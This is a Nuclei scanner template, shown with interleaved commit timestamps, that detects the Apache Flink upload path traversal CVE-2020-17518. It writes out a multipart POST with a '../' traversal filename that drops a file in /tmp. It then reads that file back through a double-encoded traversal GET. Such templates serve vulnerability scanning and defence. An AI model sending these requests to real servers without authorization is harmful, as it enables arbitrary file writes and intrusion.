nuclei-templates/cves/2020/CVE-2020-17518.yaml

40 lines
1.3 KiB
YAML
Raw Normal View History

2021-01-06 17:38:45 +00:00
id: CVE-2020-17518
info:
name: Apache Flink Upload Path Traversal
2021-04-06 06:46:11 +00:00
author: pdteam
severity: high
2021-01-06 17:38:45 +00:00
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
2021-03-11 14:25:31 +00:00
description: |
2021-03-11 20:16:35 +00:00
Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system,
2021-03-11 14:25:31 +00:00
through a maliciously modified HTTP HEADER.
2021-03-18 07:54:36 +00:00
tags: cve,cve2020,apache,lfi
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.50
cve-id: CVE-2020-17518
cwe-id: CWE-22
2021-01-06 17:38:45 +00:00
requests:
- raw:
- |
POST /jars/upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
test-poc
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
- method: GET
path:
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
matchers:
- type: dsl
dsl:
2021-03-24 23:28:50 +00:00
- 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.